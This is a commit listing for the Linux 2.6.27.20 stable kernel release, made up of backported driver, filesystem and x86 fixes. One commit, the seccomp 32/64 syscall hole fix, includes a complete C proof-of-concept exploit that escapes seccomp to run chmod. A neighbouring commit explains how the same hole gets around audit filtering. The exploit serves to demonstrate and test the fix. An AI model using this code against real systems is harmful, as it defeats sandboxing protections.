Permalink
Commits on Mar 17, 2009
  1. Linux 2.6.27.20

    gregkh committed Mar 17, 2009
  2. hwmon: (it87) Properly decode -128 degrees C temperature

    commit e267d25 upstream
    
    The it87 driver is reporting -128 degrees C as +128 degrees C.
    That's not a terribly likely temperature value but let's still
    get it right, especially when it simplifies the code.
    
    Signed-off-by: Jean Delvare <khali@linux-fr.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    Jean Delvare committed with gregkh Mar 13, 2009
  3. MIPS: compat: Implement is_compat_task.

    commit 4302e5d upstream.
    
    This is a build fix required after "x86-64: seccomp: fix 32/64 syscall
    hole" (commit 5b10174).  MIPS doesn't
    have the issue that was fixed for x86-64 by that patch.
    
    This also doesn't solve the N32 issue which is that N32 seccomp processes
    will be treated as non-compat processes thus only have access to N64
    syscalls.
    
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    ralfbaechle committed with gregkh Mar 5, 2009
  4. ext4: Fix deadlock in ext4_write_begin() and ext4_da_write_begin()

    (cherry picked from commit ebd3610)
    
    Functions ext4_write_begin() and ext4_da_write_begin() call
    grab_cache_page_write_begin() without AOP_FLAG_NOFS. Thus it
    can happen that page reclaim is triggered in that function
    and it recurses back into the filesystem (or some other filesystem).
    But this can lead to various problems as a transaction is already
    started at that point. Add the necessary flag.
    
    http://bugzilla.kernel.org/show_bug.cgi?id=11688
    
    Signed-off-by: Jan Kara <jack@suse.cz>
    Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    jankara committed with gregkh Mar 5, 2009
  5. ext4: Add fallback for find_group_flex

    (cherry picked from commit 05bf9e8)
    
    This is a workaround for find_group_flex() which badly needs to be
    replaced.  One of its problems (besides ignoring the Orlov algorithm)
    is that it is a bit hyperactive about returning failure under
    suspicious circumstances.  This can lead to spurious ENOSPC failures
    even when there are inodes still available.
    
    Work around this for now by retrying the search using
    find_group_other() if find_group_flex() returns -1.  If
    find_group_other() succeeds when find_group_flex() has failed, log a
    warning message.
    
    A better block/inode allocator that will fix this problem for real has
    been queued up for the next merge window.
    
    Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    tytso committed with gregkh Mar 5, 2009
  6. ext4: Fix NULL dereference in ext4_ext_migrate()'s error handling

    (cherry picked from commit 0905426)
    
    This was found through a code checker (http://repo.or.cz/w/smatch.git/).
    It looks like you might be able to trigger the error by trying to migrate
    a readonly file system.
    
    Signed-off-by: Dan Carpenter <error27@gmail.com>
    Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    error27 committed with gregkh Feb 24, 2009
  7. ext4: Initialize preallocation list_head's properly

    (cherry picked from commit d794bf8)
    
    When creating a new ext4_prealloc_space structure, we have to
    initialize its list_head pointers before we add them to any prealloc
    lists.  Otherwise, with list debug enabled, we will get list
    corruption warnings.
    
    Signed-off-by: Aneesh Kumar K.V <aneesh.kumar@linux.vnet.ibm.com>
    Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    kvaneesh committed with gregkh Feb 24, 2009
  8. ext4: Fix lockdep warning

    (cherry picked from commit ba44391)
    
    We should not call ext4_mb_add_n_trim while holding alloc_semp.
    
        =============================================
        [ INFO: possible recursive locking detected ]
        2.6.29-rc4-git1-dirty #124
        ---------------------------------------------
        ffsb/3116 is trying to acquire lock:
         (&meta_group_info[i]->alloc_sem){----}, at: [<ffffffff8035a6e8>]
         ext4_mb_load_buddy+0xd2/0x343
    
        but task is already holding lock:
         (&meta_group_info[i]->alloc_sem){----}, at: [<ffffffff8035a6e8>]
         ext4_mb_load_buddy+0xd2/0x343
    
    http://bugzilla.kernel.org/show_bug.cgi?id=12672
    
    Signed-off-by: Aneesh Kumar K.V <aneesh.kumar@linux.vnet.ibm.com>
    Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    kvaneesh committed with gregkh Feb 24, 2009
  9. ext4: Fix to read empty directory blocks correctly in 64k

    (cherry picked from commit 7be2baa)
    
    The rec_len field in the directory entry is 16 bits, so there was a
    problem representing rec_len for filesystems with a 64k block size in
    the case where the directory entry takes the entire 64k block.
    Unfortunately, there were two schemes that were proposed; one where
    all zeros meant 65536 and one where all ones (65535) meant 65536.
    E2fsprogs used 0, whereas the kernel used 65535.  Oops.  Fortunately
    this case happens extremely rarely, with the most common case being
    the lost+found directory, created by mke2fs.
    
    So we will be liberal in what we accept, and accept both encodings,
    but we will continue to encode 65536 as 65535.  This will require a
    change in e2fsprogs, but with fortunately ext4 filesystems normally
    have the dir_index feature enabled, which precludes having a
    completely empty directory block.
    
    Signed-off-by: Wei Yongjun <yjwei@cn.fujitsu.com>
    Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    Wei Yongjun committed with gregkh Feb 24, 2009
  10. jbd2: Avoid possible NULL dereference in jbd2_journal_begin_ordered_t…

    …runcate()
    
    (cherry picked from commit 7f5aa21)
    
    If we race with commit code setting i_transaction to NULL, we could
    possibly dereference it.  Proper locking requires the journal pointer
    (to access journal->j_list_lock), which we don't have.  So we have to
    change the prototype of the function so that filesystem passes us the
    journal pointer.  Also add a more detailed comment about why the
    function jbd2_journal_begin_ordered_truncate() does what it does and
    how it should be used.
    
    Thanks to Dan Carpenter <error27@gmail.com> for pointing to the
    suspitious code.
    
    Signed-off-by: Jan Kara <jack@suse.cz>
    Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
    Acked-by: Joel Becker <joel.becker@oracle.com>
    CC: linux-ext4@vger.kernel.org
    CC: mfasheh@suse.de
    CC: Dan Carpenter <error27@gmail.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    jankara committed with gregkh Feb 24, 2009
  11. Revert "ext4: wait on all pending commits in ext4_sync_fs()"

    (cherry picked from commit 9eddacf)
    
    This undoes commit 14ce0cb.
    
    Since jbd2_journal_start_commit() is now fixed to return 1 when we
    started a transaction commit, there's some transaction waiting to be
    committed or there's a transaction already committing, we don't
    need to call ext4_force_commit() in ext4_sync_fs(). Furthermore
    ext4_force_commit() can unnecessarily create sync transaction which is
    expensive so it's worthwhile to remove it when we can.
    
    http://bugzilla.kernel.org/show_bug.cgi?id=12224
    
    Signed-off-by: Jan Kara <jack@suse.cz>
    Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
    Cc: Eric Sandeen <sandeen@redhat.com>
    Cc: linux-ext4@vger.kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    jankara committed with gregkh Feb 24, 2009
  12. jbd2: Fix return value of jbd2_journal_start_commit()

    (cherry picked from commit c88ccea)
    
    The function jbd2_journal_start_commit() returns 1 if either a
    transaction is committing or the function has queued a transaction
    commit. But it returns 0 if we raced with somebody queueing the
    transaction commit as well. This resulted in ext4_sync_fs() not
    functioning correctly (description from Arthur Jones):
    
       In the case of a data=ordered umount with pending long symlinks
       which are delayed due to a long list of other I/O on the backing
       block device, this causes the buffer associated with the long
       symlinks to not be moved to the inode dirty list in the second
       phase of fsync_super.  Then, before they can be dirtied again,
       kjournald exits, seeing the UMOUNT flag and the dirty pages are
       never written to the backing block device, causing long symlink
       corruption and exposing new or previously freed block data to
       userspace.
    
    This can be reproduced with a script created by Eric Sandeen
    <sandeen@redhat.com>:
    
            #!/bin/bash
    
            umount /mnt/test2
            mount /dev/sdb4 /mnt/test2
            rm -f /mnt/test2/*
            dd if=/dev/zero of=/mnt/test2/bigfile bs=1M count=512
            touch /mnt/test2/thisisveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryverylongfilename
            ln -s /mnt/test2/thisisveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryverylongfilename
            /mnt/test2/link
            umount /mnt/test2
            mount /dev/sdb4 /mnt/test2
            ls /mnt/test2/
    
    This patch fixes jbd2_journal_start_commit() to always return 1 when
    there's a transaction committing or queued for commit.
    
    Signed-off-by: Jan Kara <jack@suse.cz>
    Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
    CC: Eric Sandeen <sandeen@redhat.com>
    CC: linux-ext4@vger.kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    jankara committed with gregkh Feb 24, 2009
  13. Fix no_timer_check on x86_64

    fixed upstream in 2.6.28 in merge of ioapic*.c for x86
    
    In io_apic_32.c the logic of no_timer_check is "always make timer_irq_works
    return 1".
    
    Io_apic_64.c on the other hand checks for
      if (!no_timer_check && timer_irq_works())
    basically meaning "make timer_irq_works fail" in the crucial first check.
    
    Now, in order to not move too much code, we can just reverse the logic here
    and should be fine off, basically rendering no_timer_check useful again.
    
    This issue seems to be resolved as of 2.6.28 by the merge of io_apic*.c,
    but still exists for at least 2.6.27.
    
    Signed-off-by: Alexander Graf <agraf@suse.de>
    Acked-by: Marcelo Tosatti <mtosatti@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    agraf committed with gregkh Mar 10, 2009
  14. ARM: Add i2c_board_info for RiscPC PCF8583

    commit 531660e upstream
    
    Add the necessary i2c_board_info structure to fix the lack of PCF8583
    RTC on RiscPC.
    
    Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
    Signed-off-by: Jean Delvare <khali@linux-fr.org>
    Cc: Alessandro Zummo <a.zummo@towertech.it>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    Russell King committed with gregkh Feb 25, 2009
  15. ide-iops: fix odd-length ATAPI PIO transfers

    commit a509538 upstream.
    
    Commit 9567b34 (ide: merge ->atapi_*put_bytes
    and ->ata_*put_data methods) introduced a regression  WRT the odd-length ATAPI
    PIO transfers -- the final word didn't get written (causing command timeouts).
    
    Signed-off-by: Sergei Shtylyov <sshtylyov@ru.mvista.com>
    Signed-off-by: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    Sergei Shtylyov committed with gregkh Mar 5, 2009
  16. i2c: Timeouts reach -1

    commit a746b57 upstream
    
    With a postfix decrement these timeouts reach -1 rather than 0, but
    after the loop it is tested whether they have become 0.
    
    As pointed out by Jean Delvare, the condition we are waiting for should
    also be tested before the timeout. With the current order, you could
    exit with a timeout error while the job is actually done.
    
    Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
    Signed-off-by: Jean Delvare <khali@linux-fr.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    RoelKluin committed with gregkh Feb 25, 2009
  17. i2c: Fix misplaced parentheses

    commit f29d2e0 upstream
    
    Fix misplaced parentheses.
    
    Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
    Signed-off-by: Jean Delvare <khali@linux-fr.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    RoelKluin committed with gregkh Feb 25, 2009
  18. hwmon: (f71882fg) Hide misleading error message

    commit 603eaa1 upstream
    
    If the F71882FG chip is at address 0x4e, then the probe at 0x2e will
    fail with the following message in the logs:
    f71882fg: Not a Fintek device
    
    This is misleading because there is a Fintek device, just at a
    different address. So I propose to degrade this message to a debug
    message.
    
    Signed-off-by: Jean Delvare <khali@linux-fr.org>
    Acked-by: Hans de Goede <hdegoede@redhat.com>
    Jean Delvare committed with gregkh Feb 21, 2009
  19. ACPI: fix broken usage of name.ascii

    This issue was fixed indirectly in mainline by commit
    0175d56.
    
    acpi_namespace_node's name.ascii field is four chars, and not NULL-
    terminated except by pure luck.  So, it cannot be used by sscanf() without
    a length restriction.
    
    This is the minimal fix for both stable 2.6.27 and 2.6.28.
    
    Signed-off-by: Henrique de Moraes Holschuh <hmh@hmh.eng.br>
    Cc: Lin Ming <ming.m.lin@intel.com>
    Cc: Len Brown <lenb@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    hmh committed with gregkh Feb 24, 2009
  20. V4L: ivtv: fix decoder crash regression

    (cherry picked from commit ac9575f)
    
    The video_ioctl2 conversion of ivtv in kernel 2.6.27 introduced a bug
    causing decoder commands to crash. The decoder commands should have been
    handled from the video_ioctl2 default handler, ensuring correct mapping
    of the argument between user and kernel space. Unfortunately they ended
    up before the video_ioctl2 call, causing random crashes.
    
    Thanks to hannes@linus.priv.at for testing and helping me track down the
    cause!
    
    Signed-off-by: Hans Verkuil <hverkuil@xs4all.nl>
    Signed-off-by: Mauro Carvalho Chehab <mchehab@redhat.com>
    Signed-off-by: Michael Krufky <mkrufky@linuxtv.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    Hans Verkuil committed with gregkh Feb 14, 2009
  21. V4L: tda8290: fix TDA8290 + TDA18271 initialization

    (cherry picked from commit 439b72b)
    
    Don't call tda8290_init_tuner unless we have either a TDA8275 or TDA8275A
    present. Calling this function will cause a TDA18271 to get sick, so we
    should only call it when needed.
    
    Signed-off-by: Michael Krufky <mkrufky@linuxtv.org>
    Signed-off-by: Mauro Carvalho Chehab <mchehab@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    mkrufky committed with gregkh Jan 5, 2009
  22. DVB: s5h1409: Perform s5h1409 soft reset after tuning

    (cherry picked from commit 67e70ba)
    
    Just like with the s5h1411, the s5h1409 needs a soft-reset in order for it
    to know that the tuner has been told to change frequencies.  This change
    changes the behavior from "random tuning times between 500ms to complete
    tuning lock failures" to "tuning lock consistently within 700ms".
    
    Thanks to Robert Krakora <rob.krakora@messagenetsystems.com> for doing
    initial testing of the patch on the KWorld 330U.
    
    Thanks to Andy Walls <awalls@radix.net> for doing testing of the patch on
    the HVR-1600.
    
    Thanks to Michael Krufky <mkrufky@linuxtv.org> for doing additional testing.
    
    Signed-off-by: Devin Heitmueller <dheitmueller@linuxtv.org>
    Signed-off-by: Michael Krufky <mkrufky@linuxtv.org>
    Signed-off-by: Mauro Carvalho Chehab <mchehab@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    Devin Heitmueller committed with gregkh Jan 26, 2009
  23. zaurus: add usb id for motomagx phones

    commit 52c0326 upstream.
    
    The Motorola MOTOMAGX phones (Z6, E8, Zn5 so far) are providing
    combined ACM/BLAN USB configuration. Since it has Vendor Specific
    class, the corresponding drivers (cdc-acm, zaurus) can't find it just
    by interface info. This patch adds usb id so the zaurus driver can
    properly handle this combined device.
    
    Signed-off-by: Dmitriy Taychenachev <dimichxp@gmail.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    dimichxp committed with gregkh Feb 24, 2009
  24. xen: disable interrupts early, as start_kernel expects

    commit 55d8085 upstream.
    
    This avoids a lockdep warning from:
    	if (DEBUG_LOCKS_WARN_ON(unlikely(!early_boot_irqs_enabled)))
    		return;
    in trace_hardirqs_on_caller();
    
    Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
    Cc: Mark McLoughlin <markmc@redhat.com>
    Cc: Xen-devel <xen-devel@lists.xensource.com>
    Signed-off-by: Ingo Molnar <mingo@elte.hu>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    jsgf committed with gregkh Feb 25, 2009
  25. xen/blkfront: use blk_rq_map_sg to generate ring entries

    commit 9e973e6 upstream.
    
    On occasion, the request will apparently have more segments than we
    fit into the ring. Jens says:
    
    > The second problem is that the block layer then appears to create one
    > too many segments, but from the dump it has rq->nr_phys_segments ==
    > BLKIF_MAX_SEGMENTS_PER_REQUEST. I suspect the latter is due to
    > xen-blkfront not handling the merging on its own. It should check that
    > the new page doesn't form part of the previous page. The
    > rq_for_each_segment() iterates all single bits in the request, not dma
    > segments. The "easiest" way to do this is to call blk_rq_map_sg() and
    > then iterate the mapped sg list. That will give you what you are
    > looking for.
    
    > Here's a test patch, compiles but otherwise untested. I spent more
    > time figuring out how to enable XEN than to code it up, so YMMV!
    > Probably the sg list wants to be put inside the ring and only
    > initialized on allocation, then you can get rid of the sg on stack and
    > sg_init_table() loop call in the function. I'll leave that, and the
    > testing, to you.
    
    [Moved sg array into info structure, and initialize once. -J]
    
    Signed-off-by: Jens Axboe <jens.axboe@oracle.com>
    Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
    Cc: Sven Köhler <sven.koehler@gmail.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    Jens Axboe committed with gregkh Feb 24, 2009
  26. x86, vmi: TSC going backwards check in vmi clocksource

    commit 48ffc70 upstream.
    
    Impact: fix time warps under vmware
    
    Similar to the check for TSC going backwards in the TSC clocksource,
    we also need this check for VMI clocksource.
    
    Signed-off-by: Alok N Kataria <akataria@vmware.com>
    Cc: Zachary Amsden <zach@vmware.com>
    Signed-off-by: Ingo Molnar <mingo@elte.hu>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    Alok N Kataria committed with gregkh Feb 18, 2009
  27. x86: tone down mtrr_trim_uncached_memory() warning

    commit bf3647c upstream.
    
    kerneloops.org is reporting a lot of these warnings that come due to
    vmware not setting up any MTRRs for emulated CPUs:
    
    | Reported 709 times (14696 total reports)
    | BIOS bug (often in VMWare) where the MTRR's are set up incorrectly
    | or not at all
    |
    | This warning was last seen in version 2.6.29-rc2-git1, and first
    | seen in 2.6.24.
    |
    | More info:
    |   http://www.kerneloops.org/searchweek.php?search=mtrr_trim_uncached_memory
    
    Keep a one-liner KERN_INFO about it - so that we have so notice if empty
    MTRRs are caused by native hardware/BIOS weirdness.
    
    Signed-off-by: Ingo Molnar <mingo@elte.hu>
    Cc: Chuck Ebbert <cebbert@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    Ingo Molnar committed with gregkh Jan 29, 2009
  28. x86: add Dell XPS710 reboot quirk

    commit dd4124a upstream.
    
    Dell XPS710 will hang on reboot.  This is resolved by adding a quirk to
    set bios reboot.
    
    Signed-off-by: Leann Ogasawara <leann.ogasawara@canonical.com>
    Signed-off-by: Tim Gardner <tim.gardner@canonical.com>
    Cc: "manoj.iyer" <manoj.iyer@canonical.com>
    LKML-Reference: <1236196380.3231.89.camel@emiko>
    Signed-off-by: Ingo Molnar <mingo@elte.hu>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    leannogasawara committed with gregkh Mar 4, 2009
  29. x86-64: syscall-audit: fix 32/64 syscall hole

    commit ccbe495 upstream.
    
    On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
    ljmp, and then use the "syscall" instruction to make a 64-bit system
    call.  A 64-bit process make a 32-bit system call with int $0x80.
    
    In both these cases, audit_syscall_entry() will use the wrong system
    call number table and the wrong system call argument registers.  This
    could be used to circumvent a syscall audit configuration that filters
    based on the syscall numbers or argument details.
    
    Signed-off-by: Roland McGrath <roland@redhat.com>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    Roland McGrath committed with gregkh Feb 28, 2009
  30. x86-64: seccomp: fix 32/64 syscall hole

    commit 5b10174 upstream.
    
    On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
    ljmp, and then use the "syscall" instruction to make a 64-bit system
    call.  A 64-bit process make a 32-bit system call with int $0x80.
    
    In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
    the wrong system call number table.  The fix is simple: test TS_COMPAT
    instead of TIF_IA32.  Here is an example exploit:
    
    	/* test case for seccomp circumvention on x86-64
    
    	   There are two failure modes: compile with -m64 or compile with -m32.
    
    	   The -m64 case is the worst one, because it does "chmod 777 ." (could
    	   be any chmod call).  The -m32 case demonstrates it was able to do
    	   stat(), which can glean information but not harm anything directly.
    
    	   A buggy kernel will let the test do something, print, and exit 1; a
    	   fixed kernel will make it exit with SIGKILL before it does anything.
    	*/
    
    	#define _GNU_SOURCE
    	#include <assert.h>
    	#include <inttypes.h>
    	#include <stdio.h>
    	#include <linux/prctl.h>
    	#include <sys/stat.h>
    	#include <unistd.h>
    	#include <asm/unistd.h>
    
    	int
    	main (int argc, char **argv)
    	{
    	  char buf[100];
    	  static const char dot[] = ".";
    	  long ret;
    	  unsigned st[24];
    
    	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
    	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
    
    	#ifdef __x86_64__
    	  assert ((uintptr_t) dot < (1UL << 32));
    	  asm ("int $0x80 # %0 <- %1(%2 %3)"
    	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
    	  ret = snprintf (buf, sizeof buf,
    			  "result %ld (check mode on .!)\n", ret);
    	#elif defined __i386__
    	  asm (".code32\n"
    	       "pushl %%cs\n"
    	       "pushl $2f\n"
    	       "ljmpl $0x33, $1f\n"
    	       ".code64\n"
    	       "1: syscall # %0 <- %1(%2 %3)\n"
    	       "lretl\n"
    	       ".code32\n"
    	       "2:"
    	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
    	  if (ret == 0)
    	    ret = snprintf (buf, sizeof buf,
    			    "stat . -> st_uid=%u\n", st[7]);
    	  else
    	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
    	#else
    	# error "not this one"
    	#endif
    
    	  write (1, buf, ret);
    
    	  syscall (__NR_exit, 1);
    	  return 2;
    	}
    
    Signed-off-by: Roland McGrath <roland@redhat.com>
    [ I don't know if anybody actually uses seccomp, but it's enabled in
      at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    Roland McGrath committed with gregkh Feb 28, 2009
  31. x86-64: fix int $0x80 -ENOSYS return

    commit c09249f upstream.
    
    One of my past fixes to this code introduced a different new bug.
    When using 32-bit "int $0x80" entry for a bogus syscall number,
    the return value is not correctly set to -ENOSYS.  This only happens
    when neither syscall-audit nor syscall tracing is enabled (i.e., never
    seen if auditd ever started).  Test program:
    
    	/* gcc -o int80-badsys -m32 -g int80-badsys.c
    	   Run on x86-64 kernel.
    	   Note to reproduce the bug you need auditd never to have started.  */
    
    	#include <errno.h>
    	#include <stdio.h>
    
    	int
    	main (void)
    	{
    	  long res;
    	  asm ("int $0x80" : "=a" (res) : "0" (99999));
    	  printf ("bad syscall returns %ld\n", res);
    	  return res != -ENOSYS;
    	}
    
    The fix makes the int $0x80 path match the sysenter and syscall paths.
    
    Reported-by: Dmitry V. Levin <ldv@altlinux.org>
    Signed-off-by: Roland McGrath <roland@redhat.com>
    Cc: Chuck Ebbert <cebbert@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    Roland McGrath committed with gregkh Feb 7, 2009
  32. USB: option: add BenQ 3g modem information

    commit 28fb668 upstream.
    
    This patch addes the BenQ 3g modem support to the option driver.
    
    
    From: Jesse Sung <jsung@novell.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    Jesse Sung committed with gregkh Feb 21, 2009
  33. USB: EHCI: slow down ITD reuse

    commit 9aa09d2 upstream.
    
    Currently ITDs are immediately recycled whenever their URB completes.
    However, EHCI hardware can sometimes remember some ITD state.  This
    means that when the ITD is reused before end-of-frame it may sometimes
    cause the hardware to reference bogus state.
    
    This patch defers reusing such ITDs by moving them into a new ehci member
    cached_itd_list. ITDs resting in cached_itd_list are moved back into their
    stream's free_list once scan_periodic() detects that the active frame has
    elapsed.
    
    This makes the snd_usb_us122l driver (in kernel since .28) work right
    when it's hooked up through EHCI.
    
    [ dbrownell@users.sourceforge.net: comment fixups ]
    
    Signed-off-by: Karsten Wiese <fzu@wemgehoertderstaat.de>
    Tested-by: Philippe Carriere <philippe-f.carriere@wanadoo.fr>
    Tested-by: Federico Briata <federicobriata@gmail.com>
    Signed-off-by: David Brownell <dbrownell@users.sourceforge.net>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    Karsten Wiese committed with gregkh Feb 9, 2009
  34. sound: virtuoso: revert "do not overwrite EEPROM on Xonar D2/D2X"

    commit 6ce6c47 upstream.
    
    This reverts commit 7e86c0e ("do not
    overwrite EEPROM on Xonar D2/D2X") because it did not actually help with
    the problem.
    
    More user reports show that the overwriting of the EEPROM is not
    triggered by using this driver but by installing Linux, and that the
    installation of any other operating system (even one without any CMI8788
    driver) has the same effect.  In other words, the presence of this
    driver does not have any effect on the occurrence of the error.  (So
    far, the available evidence seems to point to a BIOS bug.)
    
    Furthermore, it turns out that the EEPROM chip is protected against
    stray write commands by the command format and by requiring a separate
    write-enable command, so the error scenario in the previous commit (that
    SPI writes can be misinterpreted as an EEPROM write command) is not even
    theoretically possible.
    
    The mixer control that was removed as a consequence of the previous
    commit can only be partially emulated in userspace, which also means it
    cannot be seen be the in-kernel OSS API emulation, so it is better to
    revert that change.
    
    Signed-off-by: Clemens Ladisch <clemens@ladisch.de>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    cladisch committed with gregkh Feb 17, 2009
  35. sound: usb-audio: fix uninitialized variable with M-Audio MIDI interf…

    …aces
    
    commit e156ac4 upstream.
    
    Fix the snd_usbmidi_create_endpoints_midiman() function, which forgot to
    set the out_interval member of the endpoint info structure for Midiman/
    M-Audio devices.  Since kernel 2.6.24, any non-zero value makes the
    driver use interrupt transfers instead of bulk transfers.  With EHCI
    controllers, these random interval values result in unbearably large
    latencies for output MIDI transfers.
    
    Signed-off-by: Clemens Ladisch <clemens@ladisch.de>
    Reported-by: David <devurandom@foobox.com>
    Tested-by: David <devurandom@foobox.com>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
    cladisch committed with gregkh Feb 16, 2009